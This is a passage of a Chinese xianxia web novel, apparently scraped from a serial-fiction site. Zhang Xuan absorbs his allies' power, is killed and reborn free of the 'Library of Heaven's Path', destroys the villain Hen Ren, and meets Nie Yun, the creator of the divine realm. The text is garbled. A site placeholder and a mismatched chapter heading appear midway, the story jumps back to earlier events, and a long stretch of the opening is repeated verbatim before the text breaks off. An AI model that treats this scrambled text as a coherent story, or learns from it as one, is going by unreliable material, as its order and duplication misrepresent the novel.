“所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十一章 你记住你永远都是我的奴婢 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 